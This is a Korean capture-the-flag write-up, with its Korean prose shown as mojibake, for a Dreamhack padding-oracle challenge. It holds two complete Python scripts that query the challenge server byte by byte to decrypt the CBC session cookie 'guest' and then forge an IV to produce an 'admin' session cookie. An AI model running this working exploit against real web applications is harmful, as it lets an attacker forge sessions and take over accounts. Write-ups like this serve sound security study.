1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/325
[wargame.kr] dun worry about the vase
Description Do you know about "padding oracle vulnerability" ?
dreamhack.io
์ด ๋ฌธ์ ๋ Pading Oracle ์ทจ์ฝ์ ์ ๋ํ ๋ฌธ์ ์์ ๋ช ์ํ๊ณ ์๋ค.
๋ฐ๋ผ์ ๋ฌธ์ ๋ฅผ ํ๊ธฐ์ ํจ๋ฉ ์ค๋ผํด ์ทจ์ฝ์ ์ ์ ๋ฆฌํ์๋ค.
2025.03.07 - [Study/WebHacking] - Padding Oracle ์ทจ์ฝ์
2. ํด๊ฒฐ ๊ณผ์
(1) ๋ฌธ์ ํ์ด์ง ์ ์
๋ก๊ทธ์ธ form์ด ๋ณด์ด๊ณ guest/guest๊ฐ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ ๋ ฅ๋์ด ์๋ค.
๊ฐ ๊ทธ๋๋ก ๋ก๊ทธ์ธ์ ํ๋ฉด admin ์ธ์ ์ ์ป์ผ๋ผ๋ ๋ด์ฉ์ด ์ถ๋ ฅ๋๋ค.
์ธ์ ๊ฐ์ L0g1n์ ์ ์ฅ๋์ด์๋ค.
ํด๋น ์ URL ๋์ฝ๋ฉ ํด๋ณด๋ฉด Base64๋ก ์ธ์ฝ๋ฉ ๋ ๋๊ฐ์ ๊ฐ์ด ๋ณด์ธ๋ค.
Base64๋ก ๋์ฝ๋ฉํด๋ณด๋ฉด ๋ ๊ฐ์ ์ํธ๋ฌธ ์ฒ๋ผ ๋ณด์ด๋ ๊ฐ์ด ๋ณด์ธ๋ค. ์ฆ, ์ฐ๋ฆฌ๋ ์ค๋ผํด ํจ๋ฉ ์ทจ์ฝ์ ๊ณต๊ฒฉ์ ํ ์ ์๋ ๋ ๊ฐ์ ์ํธ๋ฌธ์ ์ ์ ์๊ฒ ๋ ๊ฒ์ด๋ค.
๋ ๊ฐ์ ์ํธ๋ฌธ์ด ์๋์๋ค. ๋ด๊ฐ ์ฐฉ๊ฐํ ๊ฒ์ธ๋ฐ ์ํธํ ์์คํ ์์ IV์ ์ํธ๋ฌธ์ ์ฐ๊ฒฐํ๋ ๊ฒ์ CBC ๋ชจ๋์ ๊ฐ์ ์ํธํ ๋ฐฉ์์์ IV์ ์ํธ๋ฌธ์ ํจ๊ป ์ ์กํ ๋ ํํ๊ฒ ์ฌ์ฉ๋๋ค๊ณ ํ๋ค.
๋ฐ๋ผ์ ์ฒซ๋ฒ์งธ ๊ฐ์ด ์ด๊ธฐํ ๋ฒกํฐ๊ฐ์ด๊ณ ๋๋ฒ์งธ ๊ฐ์ด ์ฒซ๋ฒ์งธ ์ํธ๋ฌธ์ด ๋ ๊ฒ์ด๋ค.
๋ฐ๋ผ์ ์ค๋ผํด ํจ๋ฉ ๊ณต๊ฒฉ์ ํ๋ ํ์ด์ฌ ์ฝ๋๋ฅผ ์ง๋ณด์๋ค.
(2) ์ต์คํ๋ก์ ์ฝ๋ ์์ฑ
๊ณต๊ฒฉ์ ํ์ํ ์ ๋ณด๋ ์ํธ๋ฌธ 2๊ฐ, ์ฟ ํค ์ ๋ณด, ์๋ต์ ์ฐจ์ด์ด๋ค. ์์ ํ์ธํ๋ฏ์ด ์ฟ ํค ์ด๋ฆ์ L0g1n์ด์๋ค.
๋ค์์ผ๋ก ์๋ต์ด ์ด๋ป๊ฒ ๋จ๋์ง ์ฐจ์ด๋ฅผ ํ์ธํ๊ธฐ ์ํด์ ์์๋ก ์กฐ์ํ ์ธ์ ๊ฐ์ ๋ฃ์ด ์๋ต๊ฐ์ ํ์ธํ์๋ค.
U7wAePQAwEk%3DX5oZDe%2FIlKhQ%3D (๋ ๋ธ๋ก ์ฌ์ด์ X ์ถ๊ฐ ๋ฑ) ์ธ์ ๊ฐ์ ๋ณ๊ฒฝํด์ ๋ฃ์ด๋ณธ ๊ฒฐ๊ณผ ํจ๋ฉ ์๋ฌ ์ฐฝ์ด ๋จ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์ฌ์ค ์ด ์ ์๋ฌ๋ง ์กด์ฌํ๋ ์ค ์์๋๋ฐ ํจ๋ฉ๊ฐ์ ๋ง๋๋ฐ ๋ณตํธํํ ๊ฐ์ด ํ๋ฆฐ ๊ฒฝ์ฐ๊ฐ ์กด์ฌํ๋ค.
๋จผ์ , guest ์ธ์ ๊ฐ์ ํ๋ฌธ์ด ์ด๋ค ํํ์ธ์ง๋ฅผ ํ์ ํ๊ธฐ ์ํด ์ํธ๋ฌธ์ ๋ณตํธํํ๋ ์ฝ๋๋ฅผ ์์ฑํ์๋ค.
#!/usr/bin/env python3
import base64
import urllib.parse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# ์๋ฒ ์ ๋ณด ์ค์
TARGET_URL = "http://host3.dreamhack.games:22704/main.php"
COOKIE_NAME = "L0g1n"
SESSION_VALUE = "n4nzbNJMt1M%3DqWWNnk1v5fU%3D" # URL ์ธ์ฝ๋ฉ๋ ์ธ์
๊ฐ
# URL ๋์ฝ๋ฉ
decoded_session = urllib.parse.unquote(SESSION_VALUE)
print(f"[+] URL ๋์ฝ๋ฉ๋ ์ธ์
๊ฐ: {decoded_session}")
# ์ธ์
๊ฐ์ IV์ ์ํธ๋ฌธ์ผ๋ก ๋ถ๋ฆฌ
parts = decoded_session.split('=')
iv_b64 = parts[0]
ciphertext_b64 = parts[1]
# Base64 ํจ๋ฉ ์์
if len(iv_b64) % 4 != 0:
iv_b64 += '=' * (4 - len(iv_b64) % 4)
if len(ciphertext_b64) % 4 != 0:
ciphertext_b64 += '=' * (4 - len(ciphertext_b64) % 4)
# Base64 ๋์ฝ๋ฉ
try:
iv = base64.b64decode(iv_b64)
ciphertext = base64.b64decode(ciphertext_b64)
print(f"[+] IV (hex): {iv.hex()}")
print(f"[+] ์ํธ๋ฌธ (hex): {ciphertext.hex()}")
print(f"[+] IV ๊ธธ์ด: {len(iv)} ๋ฐ์ดํธ")
print(f"[+] ์ํธ๋ฌธ ๊ธธ์ด: {len(ciphertext)} ๋ฐ์ดํธ")
except Exception as e:
print(f"[!] Base64 ๋์ฝ๋ฉ ์ค๋ฅ: {e}")
exit(1)
# ์์ฒญ ์ ์ก ํจ์
def send_payload(s, payload):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Cookie': f'{COOKIE_NAME}={payload};'
}
r = s.get(TARGET_URL, headers=headers, verify=False)
return r.text
# XOR ์ฐ์ฐ ํจ์
def xor(data, key):
output = bytearray()
for i, ch in enumerate(data):
output.append(ch ^ key[i % len(key)])
return bytes(output)
# ์ฟ ํค ์์ฑ ํจ์
def make_cookie(iv, enc):
iv_b64 = base64.b64encode(iv).decode()
enc_b64 = base64.b64encode(enc).decode()
return urllib.parse.quote(f"{iv_b64}={enc_b64}")
def main():
# ์ธ์
๊ฐ์ฒด ์์ฑ
s = requests.Session()
# ๋ธ๋ก ํฌ๊ธฐ ํ์ธ
block_size = len(iv)
# ์ค๊ฐ๊ฐ ์ ์ฅ์ฉ ๋ณ์
intermediate_values = b''
print("\n[*] ํจ๋ฉ ์ค๋ผํด ๊ณต๊ฒฉ ์์...")
# ๊ฐ ๋ฐ์ดํธ ์์น์ ๋ํ ๊ณต๊ฒฉ ์ํ
for i in range(1, block_size + 1):
byte_pos = block_size - i # ํ์ฌ ์์
์ค์ธ ๋ฐ์ดํธ ์์น
print(f"\n[*] ๋ฐ์ดํธ ์์น {byte_pos} ๋ณตํธํ ์ค...")
# ํจ๋ฉ ๊ฐ (PKCS#7)
padding_value = i
# IV์ ์์ ๋ถ๋ถ (๋ณ๊ฒฝํ์ง ์์ ๋ถ๋ถ)
iv_prefix = iv[:byte_pos]
# ์ด๋ฏธ ์์๋ธ ์ค๊ฐ๊ฐ์ ์ด์ฉํ ํจ๋ฉ ์กฐ์
iv_suffix = b''
for known_pos in range(block_size - 1, byte_pos, -1):
known_idx = block_size - 1 - known_pos
iv_suffix += bytes([intermediate_values[known_idx] ^ padding_value])
# ํ์ฌ ๋ฐ์ดํธ์ ๋ํ ๋ชจ๋ ๊ฐ๋ฅํ ๊ฐ ์๋
found = False
for j in range(256):
# ์กฐ์๋ IV ์์ฑ
test_iv = iv_prefix + bytes([j]) + iv_suffix
# ์ฟ ํค ์์ฑ
test_cookie = make_cookie(test_iv, ciphertext)
# ์์ฒญ ์ ์ก
res = send_payload(s, test_cookie)
# ํจ๋ฉ์ด ์ ํจํ์ง ํ์ธ - padding error๊ฐ ์์ผ๋ฉด ์ ํจ
if 'padding error' not in res:
# ์ค๊ฐ๊ฐ ๊ณ์ฐ: intermediate = found_value ^ padding_value
intermediate_byte = j ^ padding_value
# ํ๋ฌธ ๊ณ์ฐ: plaintext = intermediate ^ iv_byte
plaintext_byte = intermediate_byte ^ iv[byte_pos]
print(f"[+] ๊ฐ ๋ฐ๊ฒฌ: 0x{j:02x}")
print(f"[+] ์ค๊ฐ๊ฐ: 0x{intermediate_byte:02x}")
print(f"[+] ํ๋ฌธ ๋ฐ์ดํธ: 0x{plaintext_byte:02x} (ASCII: {chr(plaintext_byte) if 32 <= plaintext_byte <= 126 else '?'})")
# ๋ฐ๊ฒฌํ ์ค๊ฐ๊ฐ ์ ์ฅ
intermediate_values = bytes([intermediate_byte]) + intermediate_values
found = True
break
if not found:
print(f"[!] ์์น {byte_pos}์์ ๊ฐ์ ์ฐพ์ง ๋ชปํจ, 0์ผ๋ก ์ค์ ")
intermediate_values = bytes([0]) + intermediate_values
# ๋ณตํธํ๋ ํ๋ฌธ ๊ณ์ฐ
plaintext = xor(intermediate_values, iv)
print("\n[+] ๋ณตํธํ ์๋ฃ!")
print(f"[+] ์ค๊ฐ๊ฐ (hex): {intermediate_values.hex()}")
print(f"[+] ํ๋ฌธ (hex): {plaintext.hex()}")
try:
print(f"[+] ํ๋ฌธ (ASCII): {plaintext.decode('utf-8', errors='replace')}")
except Exception as e:
print(f"[!] ํ๋ฌธ์ ๋ฌธ์์ด๋ก ๋ณํํ ์ ์์: {e}")
if __name__ == "__main__":
main()
[์คํ ๊ฒฐ๊ณผ]
guest ๊ณ์ ์ ์ํธ๋ฌธ์ ๋ณตํธํํ๋ฉด guest๊ฐ ๋์จ๋ค.
์ฆ, 8๋ฐ์ดํธ ๋ธ๋ก ์ํธ์์ "guest"๋ 5๋ฐ์ดํธ์ด๋ฏ๋ก, PKCS#7 ํจ๋ฉ์ ์ ์ฉํ๋ฉด "guest\x03\x03\x03"์ด๋ค.
(3) ์ต์คํ๋ก์
๋ฐ๋ผ์ admin ๊ถํ์ ์ป๊ธฐ ์ํด์๋ ํ๋ฌธ์ด "admin\x03\x03\x03"์ด ๋๋๋ก ํ์ฌ ์ค๊ฐ๊ฐ๊ณผ XOR ์ฐ์ฐ์ ํ์ฌ IV๊ฐ์ ์์ฑํ ๋ค, ์๋์ ์ํธ๋ฌธ๊ณผ ํฉ์ณ ์ธ์ ๊ฐ์ ์์ฑํ ๋ค ์์ฒญ์ ๋ณด๋ด๋ฉด ๋ ๊ฒ์ด๋ค.
์ํ๋ ํ๋ฌธ์ ์ํธํํ๋ ๊ฒ์ key๊ฐ์ ๋ชจ๋ฅด๊ธฐ ๋๋ฌธ์ ๋ถ๊ฐ๋ฅ
#!/usr/bin/env python3
import base64
from urllib.parse import quote, unquote
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# ์๋ฒ ์ ๋ณด ์ค์
TARGET_URL = "http://host3.dreamhack.games:22704/main.php"
COOKIE_NAME = "L0g1n"
SESSION_VALUE = "n4nzbNJMt1M%3DqWWNnk1v5fU%3D" # URL ์ธ์ฝ๋ฉ๋ ์ธ์
๊ฐ
# ํ์ด๋ก๋ ์ ์ก
def send_payload(s, payload):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Cookie': f'{COOKIE_NAME}={payload};'
}
r = s.get(TARGET_URL, headers=headers, verify=False)
return r.text
# xor ํจ์
def xor(data, key):
output = bytearray()
for i, ch in enumerate(data):
output.append(ch ^ key[i % len(key)])
return bytes(output)
# hex๋ก ๋ณํํด์ฃผ๋ ํจ์
def hex_view(data):
temp = data.hex()
ret = ""
for i in range(0, len(temp), 2):
ret += temp[i:i+2] + " "
return ret
# cookie ์์ฑํ๋ ํจ์
def make_cookie(iv, enc):
return quote(base64.b64encode(iv)) + quote(base64.b64encode(enc))
def main():
# ์ด๊ธฐ ๊ฐ ์ค์
decoded_session = unquote(SESSION_VALUE)
parts = decoded_session.split('=')
iv_b64 = parts[0] + "="
ciphertext_b64 = parts[1] + "="
try:
iv = base64.b64decode(iv_b64)
enc = base64.b64decode(ciphertext_b64)
except Exception as e:
print(f"[!] Base64 ๋์ฝ๋ฉ ์ค๋ฅ: {e}")
if len(iv_b64) % 4 != 0:
iv_b64 += '=' * (4 - len(iv_b64) % 4)
if len(ciphertext_b64) % 4 != 0:
ciphertext_b64 += '=' * (4 - len(ciphertext_b64) % 4)
iv = base64.b64decode(iv_b64)
enc = base64.b64decode(ciphertext_b64)
inter = b''
s = requests.Session()
# ํ์ฌ IV์ ENC ์ถ๋ ฅ
print("IV => {}".format(hex_view(iv)))
print("์ํธ๋ฌธ => {}".format(hex_view(enc)))
print(f"IV ๊ธธ์ด: {len(iv)} ๋ฐ์ดํธ")
print(f"์ํธ๋ฌธ ๊ธธ์ด: {len(enc)} ๋ฐ์ดํธ")
print("\n[*] ํจ๋ฉ ์ค๋ผํด ๊ณต๊ฒฉ ์์...")
# iv ๋ง๋๋ ๊ณผ์ 1~iv๊ธธ์ด+1 ๊น์ง
for i in range(1, len(iv) + 1):
# iv ์์์ ์ง์
start = iv[:len(iv) - i]
for j in range(0, 0xff + 1):
# target = start + (0x00~0xff ์ค 1๊ฐ) + xor(inter ๋ค์ง์๊ฑฐ, i)
target = start + bytes([j]) + xor(inter[::-1], bytes([i]))
cookie = make_cookie(target, enc)
res = send_payload(s, cookie)
# ์งํ ์ํฉ ํ์
if j % 32 == 0:
print(f"[*] ํ
์คํธ ์ค: ํจ๋ฉ {i}, ๊ฐ {j}/255")
if 'padding error' not in res:
print(f"[+] ๊ฐ ๋ฐ๊ฒฌ: ํจ๋ฉ {i}, ๊ฐ {j}")
break
# padding error๊ฐ ์๋จ๋ฉด ์ ์์ด๋ฏ๋ก ๊ตฌํ ๊ฐ j์ ํ์ฌ ํจ๋ฉ ๊ฐ xor
inter += bytes([i ^ j])
# inter๋ ๋ค๋ถํฐ ๊ตฌํ๋ ๊ฒ ์ด๊ธฐ ๋๋ฌธ์ ๋ค์ง์ด์ ์ถ๋ ฅ
print(f"[+] ํ์ฌ๊น์ง์ ์ค๊ฐ๊ฐ: {hex_view(inter[::-1])}")
# ๋ค ๊ตฌํด์ง ์ธํฐ ๋ค์ง์ด์ ๋ฆฌ์ผ ์ธํฐ๋ก ๋ง๋ฌ
inter = inter[::-1]
# ์๋ณธ ํ๋ฌธ ํ์ธ
plain = xor(inter, iv)
print("\n[+] ๋ณตํธํ ์๋ฃ!")
print(f"[+] ์๋ณธ ํ๋ฌธ (hex): {hex_view(plain)}")
print(f"[+] ์๋ณธ ํ๋ฌธ (ASCII): {plain.decode('utf-8', errors='replace')}")
# admin ์ธ์
์์ฑ
print("\n[*] Admin ์ธ์
์์ฑ ์ค...")
admin_plain = b"admin\x03\x03\x03" # 8๋ฐ์ดํธ ๋ธ๋ก์ ๋ง์ถ admin + ํจ๋ฉ
print(f"[+] ์ํ๋ ํ๋ฌธ (hex): {hex_view(admin_plain)}")
# ์ค๊ฐ๊ฐ๊ณผ ์ํ๋ ํ๋ฌธ์ผ๋ก ์ IV ๊ณ์ฐ: IV' = D(C) XOR P'
mod_iv = xor(inter, admin_plain)
print(f"[+] ์ IV (hex): {hex_view(mod_iv)}")
# ๊ด๋ฆฌ์ ์ฟ ํค ์์ฑ
admin_cookie = make_cookie(mod_iv, enc)
print(f"[+] Admin ์ธ์
๊ฐ: {admin_cookie}")
# Admin์ผ๋ก ํ์ด์ง ์์ฒญ ๋ฐ ์๋ต ํ์ธ
print("\n[*] Admin ์ธ์
์ผ๋ก ํ์ด์ง ์์ฒญ ์ค...")
res = send_payload(s, admin_cookie)
# ์๋ต ๋ด์ฉ ํ์ธ
print("[+] ์๋ต ํ์ด์ง ๋ด์ฉ:")
print("-" * 50)
print(res)
print("-" * 50)
if __name__ == "__main__":
main()
[๊ฒฐ๊ณผ]
์ค์ ๋ก ์ธ์ ์ ์กฐ์ํด์ ์์ฒญ์ ๋ณด๋ด๋ณด์๋ ํ๋๊ทธ๋ฅผ ๋์ผํ๊ฒ ํ์ธํ ์ ์์๋ค.